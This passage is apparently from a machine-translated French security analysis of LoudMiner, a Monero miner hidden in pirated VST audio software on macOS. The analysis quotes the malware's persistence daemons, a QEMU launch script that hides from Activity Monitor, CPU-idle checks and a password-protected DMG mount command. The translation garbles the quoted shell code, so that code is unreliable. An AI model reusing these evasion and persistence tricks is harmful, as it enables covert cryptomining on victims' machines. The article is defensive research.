difficile le suivi de la toute première version du mineur.\nEn ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d&#39;utiliser des machines virtuelles au lieu d&#39;une solution allégée est tout à fait remarquable et ce n&#39;est pas quelque chose que nous voyons régulièrement.\nVoici quelques exemples d&#39;applications, ainsi que des commentaires que vous pouvez trouver sur le site:","html":"<p>LoudMiner est un cas inhabituel de mineur persistant dans la crypto-monnaie, distribué pour macOS et Windows depuis août 2018. Il utilise un logiciel de virtualisation &#8211; QEMU sous macOS et VirtualBox sous Windows &#8211; pour exploiter la crypto-monnaie sur une machine virtuelle Tiny Core Linux, la rendant ainsi multiplateforme. Il est livré avec des copies piratées du logiciel VST. Le mineur lui-même est basé sur XMRig (Monero) et utilise un pool d’extraction, il est donc impossible de retracer les transactions potentielles.\nAu moment de la rédaction du présent document, 137 applications liées à VST (42 pour Windows et 95 pour macOS) étaient disponibles sur un seul site Web WordPress avec un domaine enregistré le 24 août 2018. La première application &#8211; Kontakt Native Instruments 5.7 pour Windows &#8211; a été téléchargé le même jour. La taille des applications rend difficile leur analyse, mais il semble raisonnable de supposer qu&#039;elles sont toutes troyens.\nLes applications elles-mêmes ne sont pas hébergées sur le site WordPress, mais sur 29 serveurs externes, disponibles dans la section IoCs. Les administrateurs du site mettent également à jour fréquemment les applications avec des versions plus récentes, ce qui rend difficile le suivi de la toute première version du mineur.\nEn ce qui concerne la nature des applications visées, il est intéressant de noter que leur objectif est lié à la production audio; ainsi, les machines sur lesquelles ils sont installés doivent avoir une bonne puissance de traitement et une consommation de processeur élevée ne surprendra pas les utilisateurs. En outre, ces applications étant généralement complexes, il n’est donc pas surprenant qu’elles soient des fichiers volumineux. Les attaquants profitent de cela pour camoufler leurs images de machine virtuelle. De plus, la décision d&#039;utiliser des machines virtuelles au lieu d&#039;une solution allégée est tout à fait remarquable et ce n&#039;est pas quelque chose que nous voyons régulièrement.\nVoici quelques exemples d&#039;applications, ainsi que des commentaires que vous pouvez trouver sur le site:</p>"},{"id":"text-3","type":"text","heading":"","plain_text":"Raison Propellerhead\nAbleton Live\nSylenth1\nLien\nReaktor 6\nAutoTune","html":"<p>Raison Propellerhead\nAbleton Live\nSylenth1\nLien\nReaktor 6\nAutoTune</p>"},{"id":"text-4","type":"text","heading":"","plain_text":"Figure 1. Commentaire n ° 1 de l’administrateur","html":"<p>Figure 1. Commentaire n ° 1 de l’administrateur</p>"},{"id":"text-5","type":"text","heading":"","plain_text":"Figure 2. Commentaire n ° 2 de l’administrateur","html":"<p>Figure 2. Commentaire n ° 2 de l’administrateur</p>"},{"id":"text-6","type":"text","heading":"","plain_text":"Nous avons trouvé plusieurs discussions de forum d&#39;utilisateurs se plaignant d&#39;un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:","html":"<p>Nous avons trouvé plusieurs discussions de forum d&#039;utilisateurs se plaignant d&#039;un qemu-system-x86_64 processus prenant 100% de leur processeur sur leur Mac:</p>"},{"id":"text-7","type":"text","heading":"","plain_text":"Figure 3. Rapport d&#39;utilisateur n ° 1 (https://discussions.apple.com/thread/250064603)","html":"<p>Figure 3. Rapport d&#039;utilisateur n ° 1 (https://discussions.apple.com/thread/250064603)</p>"},{"id":"text-8","type":"text","heading":"","plain_text":"Figure 4. Rapport utilisateur n ° 2 (https://toster.ru/q/608325)","html":"<p>Figure 4. Rapport utilisateur n ° 2 (https://toster.ru/q/608325)</p>"},{"id":"text-9","type":"text","heading":"","plain_text":"Un utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:\n«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d&#39;activité indiquant 2 processus &#8211; qemu-system-x86_64 et outils-service &#8211; utiliser 25% des ressources du processeur et fonctionner en tant que root. ”\nL&#39;idée générale des analyses macOS et Windows reste la même:","html":"<p>Un utilisateur nommé «Macloni» (https://discussions.apple.com/thread/8602989) a déclaré ce qui suit:\n«Malheureusement, nous avons dû réinstaller OSX. Le problème, c’était qu’Ableton Live 10, que je l’avais téléchargé depuis un site torrent et non depuis le site officiel, installait également un mineur, exécuté à l’arrière-plan, ce qui provoquait cet incident.» Le même utilisateur a joint des captures d’écran. du moniteur d&#039;activité indiquant 2 processus &#8211; qemu-system-x86_64 et outils-service &#8211; utiliser 25% des ressources du processeur et fonctionner en tant que root. ”\nL&#039;idée générale des analyses macOS et Windows reste la même:</p>"},{"id":"text-10","type":"text","heading":"","plain_text":"Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.\nL’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.\nLoudMiner est installé en premier, le logiciel VST après.\nLoudMiner se cache et devient persistant au redémarrage.\nLa machine virtuelle Linux est lancée et l&#39;extraction démarre.\nLes scripts à l&#39;intérieur de la machine virtuelle peuvent contacter le serveur C &amp; C pour mettre à jour le mineur (configuration et fichiers binaires).","html":"<p>Une application est fournie avec un logiciel de virtualisation, une image Linux et des fichiers supplémentaires utilisés pour assurer la persistance.\nL’utilisateur télécharge l’application et suit les instructions ci-jointes pour l’installer.\nLoudMiner est installé en premier, le logiciel VST après.\nLoudMiner se cache et devient persistant au redémarrage.\nLa machine virtuelle Linux est lancée et l&#039;extraction démarre.\nLes scripts à l&#039;intérieur de la machine virtuelle peuvent contacter le serveur C &amp; C pour mettre à jour le mineur (configuration et fichiers binaires).</p>"},{"id":"text-11","type":"text","heading":"","plain_text":"Lors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C &amp; C, et à une chaîne de version créée par l’auteur.\nmacOS\nNous avons identifié trois versions MacOS de ce logiciel malveillant jusqu&#39;à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s&#39;assurer que le processus sera redémarré s&#39;il est arrêté. Chaque version a ces composants:","html":"<p>Lors de l’analyse des différentes applications, nous avons identifié quatre versions du mineur, principalement basées sur la manière dont il est intégré au logiciel, au domaine du serveur C &amp; C, et à une chaîne de version créée par l’auteur.\nmacOS\nNous avons identifié trois versions MacOS de ce logiciel malveillant jusqu&#039;à présent. Tous comprennent les dépendances nécessaires pour exécuter QEMU dans installerdata.dmg à partir duquel tous les fichiers sont copiés sur / usr / local / bin et disposer des autorisations appropriées en cours de route. Chaque version du mineur peut exécuter deux images à la fois, chacune prenant 128 Mo de RAM et un cœur de processeur. La persistance est obtenue en ajoutant des fichiers plist dans / Bibliothèque / LaunchDaemons avec RunAtLoad mis à vrai. Ils ont aussi Rester en vie mis à true, s&#039;assurer que le processus sera redémarré s&#039;il est arrêté. Chaque version a ces composants:</p>"},{"id":"text-12","type":"text","heading":"","plain_text":"Images QEMU Linux.\nScripts shell utilisés pour lancer les images QEMU.\nLes démons lançaient les scripts shell au démarrage et les maintenaient actifs.\nUn script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d&#39;activité processus est en cours d&#39;exécution.","html":"<p>Images QEMU Linux.\nScripts shell utilisés pour lancer les images QEMU.\nLes démons lançaient les scripts shell au démarrage et les maintenaient actifs.\nUn script de shell de moniteur de processeur avec un démon associé qui peut démarrer / arrêter l’extraction en fonction de l’utilisation du Moniteur d&#039;activité processus est en cours d&#039;exécution.</p>"},{"id":"text-13","type":"text","heading":"","plain_text":"Le script du moniteur de la CPU peut démarrer et arrêter l&#39;extraction en chargeant et en déchargeant le démon. Si la Moniteur d&#39;activité processus est en cours d&#39;exécution, l&#39;extraction s&#39;arrête. Sinon, il vérifie depuis combien de temps le système est inactif:","html":"<p>Le script du moniteur de la CPU peut démarrer et arrêter l&#039;extraction en chargeant et en déchargeant le démon. Si la Moniteur d&#039;activité processus est en cours d&#039;exécution, l&#039;extraction s&#039;arrête. Sinon, il vérifie depuis combien de temps le système est inactif:</p>"},{"id":"text-14","type":"text","heading":"","plain_text":"ioreg -c IOHIDSystem | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;","html":"<p>ioreg -c IOHIDSystem | awk &#039;/ HIDIdleTime / print $ NF / 1000000000; sortie&#039;</p>"},{"id":"text-15","type":"text","heading":"","plain_text":"Ioreg &#8211;c Système IOHIDS | awk &#39;/ HIDIdleTime / print $ NF / 1000000000; sortie&#39;","html":"<p>Ioreg &#8211;c Système IOHIDS | awk &#039;/ HIDIdleTime / print $ NF / 1000000000; sortie&#039;</p>"},{"id":"text-16","type":"text","heading":"","plain_text":"Si cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:","html":"<p>Si cela fait plus de 2 minutes, l’extraction commence. Si cela fait moins de 2 minutes, il vérifie l’utilisation totale de la CPU:</p>"},{"id":"text-17","type":"text","heading":"","plain_text":"ps -A -o% cpu | awk &#39;s + = $ 1 END print s&#39;","html":"<p>ps -A -o% cpu | awk &#039;s + = $ 1 END print s&#039;</p>"},{"id":"text-18","type":"text","heading":"","plain_text":"ps &#8211;UNE &#8211;o %CPU | awk &#39;s + = $ 1 END print s&#39;","html":"<p>ps &#8211;UNE &#8211;o %CPU | awk &#039;s + = $ 1 END print s&#039;</p>"},{"id":"text-19","type":"text","heading":"","plain_text":"divise cela par le nombre de cœurs de la CPU:","html":"<p>divise cela par le nombre de cœurs de la CPU:</p>"},{"id":"text-20","type":"text","heading":"","plain_text":"sysctl hw.logicalcpu | awk &#39;print $ 2&#39;)","html":"<p>sysctl hw.logicalcpu | awk &#039;print $ 2&#039;)</p>"},{"id":"text-21","type":"text","heading":"","plain_text":"sysctl hw.logiccpu |awk &#39;print $ 2&#39;)","html":"<p>sysctl hw.logiccpu |awk &#039;print $ 2&#039;)</p>"},{"id":"text-22","type":"text","heading":"","plain_text":"et s&#39;il est supérieur à 85%, il arrête l&#39;extraction. Le script lui-même est un peu différent selon les versions, mais l&#39;idée générale reste la même.\nUne fois l&#39;installation terminée, tous les fichiers d&#39;installation liés à Miner sont supprimés.","html":"<p>et s&#039;il est supérieur à 85%, il arrête l&#039;extraction. Le script lui-même est un peu différent selon les versions, mais l&#039;idée générale reste la même.\nUne fois l&#039;installation terminée, tous les fichiers d&#039;installation liés à Miner sont supprimés.</p>"},{"id":"text-23","type":"text","heading":"","plain_text":"Figure 5. Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg","html":"<p>Figure 5. Installation de Polyverse.Music.Manipulator.v1.0.1.macOS.dmg</p>"},{"id":"text-24","type":"text","heading":"","plain_text":"Figure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg    instructions d&#39;installation","html":"<p>Figure 6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg    instructions d&#039;installation</p>"},{"id":"text-25","type":"text","heading":"","plain_text":"Version 1\nLes fichiers Miner contenus dans le package d&#39;application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:","html":"<p>Version 1\nLes fichiers Miner contenus dans le package d&#039;application téléchargé ne sont aucunement masqués ni placés dans un autre package. ils sont installés à côté du logiciel aux endroits suivants:</p>"},{"id":"text-26","type":"text","heading":"","plain_text":"/ Bibliothèque / Application Support / .Qemusys","html":"<p>/ Bibliothèque / Application Support / .Qemusys</p>"},{"id":"text-27","type":"text","heading":"","plain_text":"qemu-system-x86_64 &#8211; binaire QEMU propre\nsys00_1-disk001.qcow2 &#8211; image Linux (première)\nqemuservice &#8211; script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)","html":"<p>qemu-system-x86_64 &#8211; binaire QEMU propre\nsys00_1-disk001.qcow2 &#8211; image Linux (première)\nqemuservice &#8211; script shell qui lance la première image via le qemu-system-x86_64 binaire (voir le script 1)</p>"},{"id":"text-28","type":"text","heading":"","plain_text":"/ Bibliothèque / Application Support / .System-Monitor","html":"<p>/ Bibliothèque / Application Support / .System-Monitor</p>"},{"id":"text-29","type":"text","heading":"","plain_text":"system-monitor.daemon &#8211; lance la première image via moniteur système binaire","html":"<p>system-monitor.daemon &#8211; lance la première image via moniteur système binaire</p>"},{"id":"text-30","type":"text","heading":"","plain_text":"/ usr / local / bin","html":"<p>/ usr / local / bin</p>"},{"id":"text-31","type":"text","heading":"","plain_text":".Outils-Service","html":"<p>.Outils-Service</p>"},{"id":"text-32","type":"text","heading":"","plain_text":"sys00_1-disk001.qcow2 &#8211; image Linux (seconde)\ntools-service.daemon &#8211; lance la deuxième image via outils-service binaire","html":"<p>sys00_1-disk001.qcow2 &#8211; image Linux (seconde)\ntools-service.daemon &#8211; lance la deuxième image via outils-service binaire</p>"},{"id":"text-33","type":"text","heading":"","plain_text":"cpumonitor &#8211; démarre / arrête l&#39;exploration en fonction du temps d&#39;inactivité et de l&#39;utilisation du processeur\nmoniteur système &#8211; copie de qemu-system-x86_64 binaire\noutils-service &#8211; copie de qemu-system-x86_64 binaire","html":"<p>cpumonitor &#8211; démarre / arrête l&#039;exploration en fonction du temps d&#039;inactivité et de l&#039;utilisation du processeur\nmoniteur système &#8211; copie de qemu-system-x86_64 binaire\noutils-service &#8211; copie de qemu-system-x86_64 binaire</p>"},{"id":"text-34","type":"text","heading":"","plain_text":"/ Bibliothèque / LaunchDaemons","html":"<p>/ Bibliothèque / LaunchDaemons</p>"},{"id":"text-35","type":"text","heading":"","plain_text":"buildtools.system-monitor.plist &#8211; lancements system-monitor.daemon\nbuildtools.tools-service.plist &#8211; lancements tools-service.daemon\nmodulesys.qemuservice.plist &#8211; lancements qemuservice\nsystools.cpumonitor.plist &#8211; lancements cpumonitor","html":"<p>buildtools.system-monitor.plist &#8211; lancements system-monitor.daemon\nbuildtools.tools-service.plist &#8211; lancements tools-service.daemon\nmodulesys.qemuservice.plist &#8211; lancements qemuservice\nsystools.cpumonitor.plist &#8211; lancements cpumonitor</p>"},{"id":"text-36","type":"text","heading":"","plain_text":"#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/ usr / local / bin / qemu-system-x86_64 -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun\nFi\ndébut;","html":"<p>#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#039;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/ usr / local / bin / qemu-system-x86_64 -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / .Qemusys / sys00_1-disk001.qcow2 -display aucun\nFi\ndébut;</p>"},{"id":"text-37","type":"text","heading":"","plain_text":"#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/usr/local/poubelle/qemu&#8211;système&#8211;x86_64 &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1&#8211;disk001.qcow2 &#8211;afficher aucun\nFi","html":"<p>#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#039;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.modulesys.qemuservice.plist\nautre\n/usr/local/poubelle/qemu&#8211;système&#8211;x86_64 &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/.Qemusys/sys00_1&#8211;disk001.qcow2 &#8211;afficher aucun\nFi</p>"},{"id":"text-38","type":"text","heading":"","plain_text":"début;","html":"<p>début;</p>"},{"id":"text-39","type":"text","heading":"","plain_text":"Script 1. qemuservice script shell\nUne fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:","html":"<p>Script 1. qemuservice script shell\nUne fois les dépendances copiées, tous les démons liés aux mineurs sont lancés, puis le logiciel proprement dit est installé:</p>"},{"id":"text-40","type":"text","heading":"","plain_text":"qemuservice ne lancera pas l&#39;image si le Moniteur d&#39;activité processus est en cours d&#39;exécution. En fait, s&#39;il fonctionne, il déchargera le plist par lequel il a été lancé.\ntools-service.daemon lancera l&#39;image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.\nSystem-monitor.daemon lancera l&#39;image uniquement si le processeur Intel i5, i7 ou i9 est détecté.","html":"<p>qemuservice ne lancera pas l&#039;image si le Moniteur d&#039;activité processus est en cours d&#039;exécution. En fait, s&#039;il fonctionne, il déchargera le plist par lequel il a été lancé.\ntools-service.daemon lancera l&#039;image uniquement lorsque qemu-system-x86_64 processus ne fonctionne pas et après avoir dormi pendant 45 minutes.\nSystem-monitor.daemon lancera l&#039;image uniquement si le processeur Intel i5, i7 ou i9 est détecté.</p>"},{"id":"text-41","type":"text","heading":"","plain_text":"Ces scripts utilisent la même commande pour lancer l&#39;image QEMU, seuls les noms et le chemin de l&#39;image diffèrent.\nNous avons trouvé la capture d&#39;écran suivante liée à la version 1 du mineur:","html":"<p>Ces scripts utilisent la même commande pour lancer l&#039;image QEMU, seuls les noms et le chemin de l&#039;image diffèrent.\nNous avons trouvé la capture d&#039;écran suivante liée à la version 1 du mineur:</p>"},{"id":"text-42","type":"text","heading":"","plain_text":"Figure 7. Consommation d&#39;UC de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)","html":"<p>Figure 7. Consommation d&#039;UC de QEMU avec Little Snitch (source: https://imgur.com/a/sc3u6kk)</p>"},{"id":"text-43","type":"text","heading":"","plain_text":"C’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C &amp; C utilisé par la version 1 du mineur.\nVersion 2\nLes fichiers Miner sont en data_installer.pkg à l&#39;intérieur du package d&#39;application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l&#39;installation, la version 1 du mineur est supprimée lors de l&#39;exécution de la commande:","html":"<p>C’est de Little Snitch qui indique que certaines connexions du processus qemu-system-x86_64 ont été bloqués. Plus précisément, hopto[.]org (un service de nom d’hôte gratuit) est un C &amp; C utilisé par la version 1 du mineur.\nVersion 2\nLes fichiers Miner sont en data_installer.pkg à l&#039;intérieur du package d&#039;application téléchargé. data_installer.pkg est installé en premier, puis le logiciel VST. Avant l&#039;installation, la version 1 du mineur est supprimée lors de l&#039;exécution de la commande:</p>"},{"id":"text-44","type":"text","heading":"","plain_text":"Comme indiqué dans la liste du script 2, il ne le fait que lorsqu&#39;il détecte un qemu-system-x86_64 processus.","html":"<p>Comme indiqué dans la liste du script 2, il ne le fait que lorsqu&#039;il détecte un qemu-system-x86_64 processus.</p>"},{"id":"text-45","type":"text","heading":"","plain_text":"#! / bin / bash\n#Clear Old\nfonction clear\nLGC = `ps aux\nclair;","html":"<p>#! / bin / bash\n#Clear Old\nfonction clear\nLGC = `ps aux\nclair;</p>"},{"id":"text-46","type":"text","heading":"","plain_text":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22","html":"<p>1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22</p>"},{"id":"text-47","type":"text","heading":"","plain_text":"#! / bin / bash\n#Clear Old\nune fonction clair \nLGC=`ps aux \nclair;","html":"<p>#! / bin / bash\n#Clear Old\nune fonction clair \nLGC=`ps aux \nclair;</p>"},{"id":"text-48","type":"text","heading":"","plain_text":"Script 2 data_installer.pkg script de préinstallation qui supprime la version 1\nLes fichiers temporaires suivants sont créés:","html":"<p>Script 2 data_installer.pkg script de préinstallation qui supprime la version 1\nLes fichiers temporaires suivants sont créés:</p>"},{"id":"text-49","type":"text","heading":"","plain_text":"/ Utilisateurs / Partagé","html":"<p>/ Utilisateurs / Partagé</p>"},{"id":"text-50","type":"text","heading":"","plain_text":"z1 &#8211; binaire QEMU\nz1.daemon &#8211; lance l&#39;image QEMU avec le binaire QEMU\nz1.qcow2 &#8211; image QEMU\nz1.plist &#8211; lancements z1.daemon\nz3 &#8211; Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor\nz3.plist &#8211; utilisé pour lancer z3\nrandwd &#8211; génère des noms aléatoires","html":"<p>z1 &#8211; binaire QEMU\nz1.daemon &#8211; lance l&#039;image QEMU avec le binaire QEMU\nz1.qcow2 &#8211; image QEMU\nz1.plist &#8211; lancements z1.daemon\nz3 &#8211; Script de moniteur de processeur, peu de changement par rapport à la version 1 cpumonitor\nz3.plist &#8211; utilisé pour lancer z3\nrandwd &#8211; génère des noms aléatoires</p>"},{"id":"text-51","type":"text","heading":"","plain_text":"Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:","html":"<p>Une fois les dépendances copiées, le mineur est installé. Cette fois, les noms des fichiers binaires, des listes de plists et des répertoires QEMU sont randomisés avec randwd scénario. L’installation de mineur crée deux copies de z1, z1.daemon, z1.qcow2 et z1.plist. Voici ce qui se passe pour chaque copie:</p>"},{"id":"text-52","type":"text","heading":"","plain_text":"Un répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d&#39;application\nLe binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin\nz1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires\nz1.plist est copié avec le nom com..pliste dans / Bibliothèque / LaunchDaemons","html":"<p>Un répertoire avec un nom aléatoire est créé dans / Bibliothèque / Support d&#039;application\nLe binaire QEMU z1 porte le même nom que le répertoire et est copié dans / usr / local / bin\nz1.daemon (voir liste dans le script 3) et z1.qcow2 sont copiés dans ce répertoire sous leurs noms aléatoires\nz1.plist est copié avec le nom com..pliste dans / Bibliothèque / LaunchDaemons</p>"},{"id":"text-53","type":"text","heading":"","plain_text":"z1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d&#39;autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.\nUn nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com..pliste.","html":"<p>z1.daemon, z1.plist, z3 et z3.plist les fichiers servent de modèles. Les références à d&#039;autres scripts, fichiers binaires, plists, etc. de ces fichiers sont remplacées par le nom aléatoire généré correspondant.\nUn nom aléatoire est également choisi pour le moniteur de la CPU (z3) shell script et son fichier de plist associé. z3 est copié dans / usr / local / bin et le plist dans / Bibliothèque / LaunchDaemons sous le nom com..pliste.</p>"},{"id":"text-54","type":"text","heading":"","plain_text":"#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#39;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.AAAA.plist\nautre\n/ usr / local / bin / BBBB -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / CCCC / DDDD &#8211; affichage aucun\nFi\ndébut;","html":"<p>#! / bin / bash\nfonction start\npgrep &quot;Moniteur d&#039;activité&quot;\nsi [ $? -eq 0 ]; puis\nlaunchctl unload -w /Library/LaunchDaemons/com.AAAA.plist\nautre\n/ usr / local / bin / BBBB -M accel = hvf &#8211; hôte cpu / Bibliothèque / Application  Support / CCCC / DDDD &#8211; affichage aucun\nFi\ndébut;</p>"},{"id":"text-55","type":"text","heading":"","plain_text":"#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#39;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.AAAA.plist\nautre\n/usr/local/poubelle/BBBB &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD &#8211;afficher aucun\nFi","html":"<p>#! / bin / bash\nune fonction début \npgrep &quot;Moniteur d&#039;activité&quot;\nsi [[[[ $? &#8211;eq 0 ]; puis\nlaunchctl décharger &#8211;w /Bibliothèque/LaunchDaemons/com.AAAA.plist\nautre\n/usr/local/poubelle/BBBB &#8211;M accel=hvf &#8211;CPU hôte /Bibliothèque/Application Soutien/CCCC/DDDD &#8211;afficher aucun\nFi</p>"},{"id":"text-56","type":"text","heading":"","plain_text":"début;","html":"<p>début;</p>"},{"id":"text-57","type":"text","heading":"","plain_text":"Script 3. z1.daemon script shell\nLa version 2 est un peu plus propre et / ou plus simple que la version 1. Il n&#39;y a qu&#39;une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu&#39;une seule fois car l&#39;installation vérifie les processus en cours d&#39;exécution avec accel = hvf dans leur ligne de commande.\nDepuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.\nVersion 3\nLes fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l&#39;intérieur du package d&#39;application. Le DMG est monté avec la commande suivante:","html":"<p>Script 3. z1.daemon script shell\nLa version 2 est un peu plus propre et / ou plus simple que la version 1. Il n&#039;y a qu&#039;une seule image QEMU, avec deux copies réalisées; même chose pour les scripts de lancement d’image, les démons et le cpumonitor. Même si la version 2 randomise ses noms de fichiers et ses répertoires, elle ne peut être installée qu&#039;une seule fois car l&#039;installation vérifie les processus en cours d&#039;exécution avec accel = hvf dans leur ligne de commande.\nDepuis les applications de la version 2 que nous avons vérifiées jusqu’à présent, le hachage SHA1 du data_installer.pkg est toujours 39a7e86368f0e68a86cce975fd9d8c254a86ed93.\nVersion 3\nLes fichiers de mineur sont dans un fichier DMG crypté, appelé do.dmg, à l&#039;intérieur du package d&#039;application. Le DMG est monté avec la commande suivante:</p>"},{"id":"text-58","type":"text","heading":"","plain_text":"printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass.","html":"<p>printf &#039;% s  0&#039; &#039;VeryEasyPass123!&#039; | hdiutil attachez -noverify /Users/Shared/instapack/do.dmg -stdinpass.</p>"},{"id":"text-59","type":"text","heading":"","plain_text":"printf &#39;% s  0&#39; &#39;VeryEasyPass123!&#39; | hdiutil attacher &#8211;noverify /Utilisateurs/partagé/instapack/faire.Dmg &#8211;stdinpass.","html":"<p>printf &#039;% s  0&#039; &#039;VeryEasyPass123!&#039; | hdiutil attacher &#8211;noverify /Utilisateurs/partagé/instapack/faire.Dmg &#8211;stdinpass.</p>"},{"id":"text-60","type":"text","heading":"","plain_text":"Le mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.\nLe contenu de l&#39;emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis &#8211; clearpacko.sh et installpacko.sh &#8211; et obscurcit un script existant &#8211; randwd:","html":"<p>Le mineur DMG contient un seul paquet: datainstallero.pkg. Ceci et le progiciel sont ensuite installés.\nLe contenu de l&#039;emballage de datainstallero.pkg et data_installer.pkg à partir de la version 2 sont plus ou moins les mêmes, mais datainstallero.pkg ajoute deux scripts obscurcis &#8211; clearpacko.sh et installpacko.sh &#8211; et obscurcit un script existant &#8211; randwd:</p>"},{"id":"text-61","type":"text","heading":"","plain_text":"clearpacko.sh supprime la version 1 du mineur comme la version 2.\ninstallpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.","html":"<p>clearpacko.sh supprime la version 1 du mineur comme la version 2.\ninstallpacko.sh installe le mineur de la même manière que la version 2, sauf que les commentaires ont été supprimés du script.</p>"},{"id":"text-62","type":"text","heading":"","plain_text":"Le SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.\nLancer l&#39;image Linux\nToutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie.","html":"<p>Le SHA1 du do.dmg reste le même: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.\nLancer l&#039;image Linux\nToutes les versions utilisent plusieurs scripts de shell pour lancer les images. Les scripts shell sont exécutés par les plists au démarrage et sont maintenus en vie.</p>"},{"id":"text-63","type":"text","heading":"","plain_text":"La version 1 exécute les fichiers binaires suivants (copies de qemu-system-x86_64) pour lancer les images QEMU: qemu-system-x86_64, moniteur système, outils-service.\nLes versions 2 et 3 utilisent la même commande, mais le nom du fichier binaire, 